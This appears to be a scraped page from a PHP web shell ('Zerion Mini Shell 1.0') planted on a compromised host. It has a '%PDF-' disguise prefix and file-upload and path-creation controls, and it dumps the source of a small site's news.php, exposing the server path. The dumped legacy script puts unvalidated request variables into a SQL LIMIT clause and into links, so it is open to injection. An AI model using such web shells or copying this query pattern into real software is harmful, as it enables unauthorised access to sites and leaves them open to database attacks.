%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/dordingu/www/vigspa/
Upload File :
Create Path :
Current File : /home/dordingu/www/vigspa/news.php

<html>

<head>

<title>V�gsp�</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<link href="site/news.css" rel="stylesheet" type="text/css">
</head>



<body bgcolor="#333333" text="#FFFFFF" link="#999999" vlink="#CCCCCC" alink="#FF3300" topmargin="0">
<p align="center"><font face="Verdana, Arial, Helvetica, sans-serif"> <br>

  <b> News</b> </font></p>

<div align="center"><?php



echo "<table width=100%>";
echo "<tr><td align=left>";
include("news/news.inc");
include_once("news/database.inc.php");
if (($show_news!="all"))

	{

	if (isset($start) && !$prev)

		{
		$start_row=$start;
		$start=$start+$show_news;

		}

	else if (!$start && !$prev)

		{

		$start=0;

		$start_row=0;

		}

	if ($prev)

		{
		$start_row=$prev;
		$start=$prev-$show_news;

		}	

	if (!$end)

		{

		$end=$show_news;
		}	

	$limit="Limit $start,$end";
	}

$sql="select count(*) from vigspa_news where (current_date between n_date and end_date) or end_date='0000-00-00 00:00:00' or end_date is null";

$result=mysql_query($sql,$db);
$myrow=mysql_fetch_array($result);
$num_rows=$myrow[0];	

$data = fread(fopen($show_vigspanews, "r"), filesize($show_vigspanews));

$sql="select n_id,UNIX_TIMESTAMP(n_date) as my_date,n_title_eng, n_title_isl, news_english, news_icelandic,pic_link,n_pic,n_file,n_newstype from vigspa_news where n_newstype = 0  order by n_date desc,n_id desc $limit";

$result=@mysql_query($sql,$db);

while ($myrow=mysql_fetch_array($result))

	{

	$n_id=$myrow["n_id"];

	$n_date=date($date_format,$myrow["my_date"]);

	$end_date=$myrow["end_date"];

	$news_english=$myrow["news_english"];

 	$news_icelandic=$myrow["news_icelandic"];

	$pic_link=$myrow["pic_link"];

	$news_hold=explode("\n",$news_english);

	$picture=$myrow["n_pic"];

	$n_newstype=$myrow["n_newstype"];

	$n_title_eng=$myrow["n_title_eng"];

	$n_title_isl=$myrow["n_title_isl"];

	$file=$myrow["n_file"];

	for ($i=0;$i<count($news_hold);$i++)

		{

		$hold_word=explode(" ",$news_hold[$i]);

		for ($n=0;$n<count($hold_word);$n++)

			{

			if (substr($hold_word[$n],0,4)=="http")

				{

				

				$hold_word[$n]="a href=".$hold_word[$n]." target=_new>".$hold_word[$n]."</a>";

				

				}

			else if (strpos($hold_word[$n],"@"))

				{

				

				$hold_word[$n]="<a href=\"mailto:$hold_word[$n]\" target=_new>$hold_word[$n]</a>";

				

				}

			

			}	

		$news_hold[$i]=implode(" ",$hold_word);	

		}

	$news_english=implode("\n",$news_hold);

	$news_english=nl2br($news_english);

	

	

	

	if (!$end_date)

		{

		$end_date="";

		}

	$hold=$data;



	$hold=str_replace("{start_date}",$n_date,$hold);

	$hold=str_replace("{end_date}",$end_date,$hold);

	$hold=str_replace("{news_english}",$news_english,$hold);

 	$hold=str_replace("{news_icelandic}",$news_icelandic,$hold);

	$hold=str_replace("{news_number}",$n_id,$hold);

 	$hold=str_replace("{topic_eng}",$n_title_eng,$hold);

   	$hold=str_replace("{topic_isl}",$n_title_isl,$hold);

    

        if ($picture)

		{

		if ($pic_link)

			{

			$hold=str_replace("{picture}","<a href=\"$pic_link\" target=_new><img  src=upload/".$picture." align=\"right\" border=0></a>",$hold);

			}

		else

			{

			$hold=str_replace("{picture}","<img align=\"right\" border=\"0\" src=\"upload/".$picture."\">",$hold);

			}	

		}

	else

		{

		$hold=str_replace("{picture}","",$hold);

		}

	if ($file)

		{		

		$hold=str_replace("{file}","<a href=\"upload/".$file." \"target=_new>$file</a>",$hold);

		}

	else

		{

		$hold=str_replace("{file}","",$hold);

		}	

	

	echo $hold;

	

	}

	

echo "</td></tr>";	

echo "<tr><td align=left>";

$stop=$start+$show_news;

if ($stop>$num_rows)

	{

	$stop=$num_rows;

	

	}

$start_point=$start+1;	

$showing="<Center># $start_point<br></Center>";

echo "<br><br>";

echo $showing;

if ($start!=0)

	{

	

	

	echo "<Center><a href=news.php3?prev=$start>Latest News</a></Center>";

	

	}

if ($num_rows> $stop )

	{

	

	echo "<Center><a href=news.php3?start=$start>More news..</a></Center>";

	}

	

echo "</td></tr>";

echo "</table>";







?><font face="Arial, Helvetica, sans-serif"><b> </b></font><br>
</div>

</body>

</html>


Zerion Mini Shell 1.0